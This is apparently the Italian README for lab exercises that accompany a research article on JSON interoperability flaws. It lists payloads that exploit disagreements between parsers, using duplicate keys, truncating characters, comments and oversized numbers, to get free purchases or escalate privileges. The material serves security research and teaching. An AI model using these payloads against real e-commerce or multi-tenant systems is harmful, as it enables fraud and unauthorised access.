
Laboratori complementari a "An Exploration of JSON Interoperability Vulnerabilities"
Questi sono i laboratori complementari al mio articolo di ricerca "Un'esplorazione delle vulnerabilità dell'interoperabilità JSON".
Laboratorio 1: Acquisti gratuiti in un'applicazione di e-commerce
Laboratorio 2: Escalation dei privilegi in un'applicazione multi-tenant
Questi laboratori si legano alle porte host 5000-5004, per impostazione predefinita.
Precedenza incoerente delle chiavi duplicate
{"qty": 1, "qty": -1}
Troncamento dei caratteri
Troncamento nei parser con precedenza dell'ultima chiave (invertire l'ordine per la precedenza della prima chiave)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
Troncamento dei commenti
Questi documenti sfruttano il supporto incoerente di commenti e di stringhe senza virgolette:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
Decodifica incoerente dei numeri grandi
Questi grandi valori numerici possono essere convertiti in stringhe (ad es. "+Infinity"), il che può portare a vulnerabilità di type-juggling. Oppure possono essere convertiti in MAX_INT/MIN_INT, valori arrotondati o 0, il che può consentire di aggirare la logica di business.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble